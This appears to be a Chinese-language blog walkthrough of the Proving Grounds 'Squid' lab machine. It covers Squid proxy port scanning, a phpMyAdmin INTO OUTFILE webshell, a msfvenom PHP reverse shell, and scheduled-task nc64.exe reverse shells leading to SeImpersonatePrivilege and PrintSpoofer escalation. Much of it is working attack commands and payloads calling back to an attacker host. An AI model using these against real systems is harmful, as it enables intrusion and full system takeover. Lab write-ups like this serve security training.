Proving Grounds Practice : Squid Walkthrough

 Proving Grounds Practice : Squid Walkthrough


Foothole (立足點 ) :

  • 枚舉一輪後啥都沒發現,只有一個 Squid 且版本也沒有任何 RCE 與可利用的地方
  • 透過 spose.py 指定 Squid Proxy 掃靶機本身有無其他服務,發現 phpmyadmin
  • Select 語法搭配 into outfile 寫入可以上傳檔案的 php 網頁
  • 上傳自行建立的 payload 後獲取 reverse shell

PE ( 提權 ) :

  • whoami 是 local service 權限,依據文章確認可以建立 Schedule Task
  • Schedule Task 建立一個新的 Reverse shell 發現有預設的相關權限
  • 再依據文章的說明要求 ScheduledTaskPrincipal 權限拿一個新的 Reverse Shell
  • 標準作業提升權限後拿到管理者

注意事項 : 

  • 看到 Squid 要想到可以利用的服務,可能無法從外部存取而是跑在 127.0.0.1 loop back 上
  • 可以先用 python code 掃 port 然後透過 Browser 探勘
  • 學習 phpmyadmin 如何用 Select 語法然後 into outfile 塞入一個可以上傳檔案的 php 網頁
  • 這是 Windows 環境,預設 kali 內建的 php-reverse-shell.php 是 Unix 環境使用
  • 可以自己建立 payload --> msfvenom -p php/reverse_php LHOST=192.168.45.201 LPORT=4444 -f raw -o php-reverse-shell.php
  • localservice 提權好網站 https://itm4n.github.io/localservice-privileges/#sorry-no-impersonation-privileges-for-you


Kali IP : 192.168.45.201

靶機 IP : 192.168.194.189

第一步 Rustscan,└─$ rustscan -a 192.168.194.189 --scripts none --ulimit 5000 | tee rustscan



snmp filtered 沒戲,└─$ sudo nmap -sU -p 161 192.168.194.189 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 135,139,445,3128,49666,49667 192.168.194.189 | tee nmap

3128 Squid http proxy 4.14




enum4linux without credential,└─$ enum4linux -a  192.168.194.189




smbmap,└─$ smbmap -H 192.168.194.189


3128 /

標準的 Squid 3128 Port 畫面



Response header



gobuster 一堆錯誤

甚麼都找不到,只看到一個 Squid Proxy Server 套件

看了 Exploit DB 沒啥有用的,尤其是這個版本的 Squid 4.14 幾乎都沒有可利用




最後還要查查看 hacktricks,搜尋 3128 Squid 第一篇文章如下

https://book.hacktricks.xyz/network-services-pentesting/3128-pentesting-squid




第一段告訴我們可以使用該 Squid 當作 Proxy 去存取其他網站如下

甚至是存取 Proxy Server 自身的 IP



第二段寫可以在 proxychains 檔案中加入 Squid IP Proxy 當作我們的 proxychains

然後就可以像我們在其他內網滲透一樣直接使用 proxychains

看來這個可以利用來掃 Squid 本身沒有對外開放的服務



因為可利用的服務可能只跑在 loop back 127.0.0.1 Interface



如果不想設定 proxychains 檔案走 socks mode 的話也有提供了 python code 可以直接使用

提供的 Python Code spose.py 利用如下

參考 : https://github.com/aancw/spose




先手動改一下 proxychain 試試看吧,指定 http 走在靶機的 3128 Port 上

└─$ sudo vi /etc/proxychains4.conf

原有的 socks 127.0.0.1 1080 先 mark 起來



直接透過 proxychains 用 nmap 帶 -sN 快速掃 TOP 1000 Port 看看

└─$ sudo proxychains nmap -sN localhost --open | tee nmap-squid

掃到一堆直接從 kali 掃不出來的 Port



有 80 Port 看來是個 Web,直接指定 Proxy Server 到靶機開啟來看看



80 /



改用文章中提到的 Python Code spose.py 跑跑看

參考 Usage,usage: spose.py [-h] [--proxy PROXY] [--target TARGET]



執行看看 spose.py --proxy 192.168.194.189:3128 --target 192.168.194.189

跑的時候缺少模組 URLRequest,那就 sudo pip3 install URLRequest 安裝吧



執行後一樣報錯顯示 ModuleNotFoundError: No module named 'url_request'

查了一下是下載該 python code 的網站有提供,那就去下載吧

https://github.com/aancw/spose/blob/master/url_request.py



再次執行後一樣沒有結果,後來查看了網路上的相關文章發現參數 --proxy 要帶上 http://

將指令修改如下,└─$ ./spose.py --proxy http://192.168.194.189:3128 --target 192.168.194.189

透過供舉直接告訴我們有兩個 Prot,3306 & 8080



透過瀏覽器指定 Proxy 瀏覽 3306 Port 會直接下載一個 pxGOdGWw 的檔案


 

看了一下檔案內容顯示,不可以透過 Squid 去連線 MySQL Server



改開 8080 / 看一下

發現 wamp (Version 3.2.3)套件且有安裝 phpmyadmin,看來又是 phpmyadmin 的梗



開啟 8080 /phpmyadmin 然後用預設的 root 登入看看



直接登入了又可以下 SQL 指令,看來是 SQL 語法塞檔案 into outfile 的梗



如同有 webshell 一樣,透過 SQL 語法也可以快速寫一個上傳檔案的簡易 webshell

參考 : Uploading Shell via PHPmyadmin · GitHub

語法 :

SELECT 
"<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">\';echo \'<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>\'; if( $_POST[\'_upl\'] == \"Upload\" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Done.<b><br><br>\'; }else { echo \'<b>Upload Failed.</b><br><br>\'; }}?>"
INTO OUTFILE 'C:/wamp/www/uploader.php';



執行完畢後看一下網頁 8080 /uploader.php



建立 php reverse shell payload,└─$ msfvenom -p php/reverse_php LHOST=192.168.45.201 LPORT=4444 -f raw -o php-reverse-shell.php



上傳



執行後 4444 listen 直接進來了,whoami 看一下是管理者結束這回合



看了一下原廠的 walkthrough 發現不是 nt authority\system 而是 nt authority\local service
必須要 PE,whoami /priv 看一下






用跟他一樣的手法,但改用 nc64.exe 取代 powercat.ps1
測試並建立一個 GrantPerm 的 Task,看看可否實現
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\users\public\nc64.exe 192.168.45.201 4444 -e cmd.exe`""
Register-ScheduledTask -Action $TaskAction -TaskName "GrantPerm"


啟動該 Task,Start-ScheduledTask -TaskName "GrantPerm"


新的 Reverse shell 進來了,whoami 看一下一樣是 nt authority\local service
但是 whoami /priv 看一下,這一次權限提升了,證實該文章的內容利用是可行的


LocalService Account 提權後的預設權限差不多


回到文章的說明


依據文章說明是建立一個指定權限的動作


最後一樣 Powercat 拿 reverse shell 就有 SeImpersonatePrivilege 的權限




真是太神奇了,看了上述的結果以及仔細查看現在擁有的權限,可以確認 SeImpersonatePrivilege 是不存在的,但可以透過建立 ScheduledTaskPrincipal 來檢索,其中我們可以在 requiredPrivilege 屬性中指定 SeImpersonatePrivilege。
那就依據文章寫的內容,按表操課做做看
這一次先建立權限列表,要包含 [ SeImpersonatePrivilege ]
[System.String[]]$Privs = "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeImpersonatePrivilege", "SeIncreaseWorkingSetPrivilege"


一樣建立一個工作排程,這次這個排程用來要求提權,$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs

然後跟剛剛一樣將所給予的權限重新建一個 Reverse shell
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\users\public\nc64.exe 192.168.45.201 4446 -e cmd.exe`""




一樣註冊一個工作排程名稱為 "GrantAllPerms"
Register-ScheduledTask -Action $TaskAction -TaskName "GrantAllPerms" -Principal $TaskPrincipal
然後執行它
Start-ScheduledTask -TaskName "GrantAllPerms"


新的 4446 listener 進來了,whoami 看一下還是 nt authority\local service
但是這一次查看 whoami /priv 可以發現 SeImpersonatePrivilege 是 Enabled 了



上傳老套的 PrintSpoofer64.exe


標準作業 .\PrintSpoofer64.exe -i -c powershell.exe



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)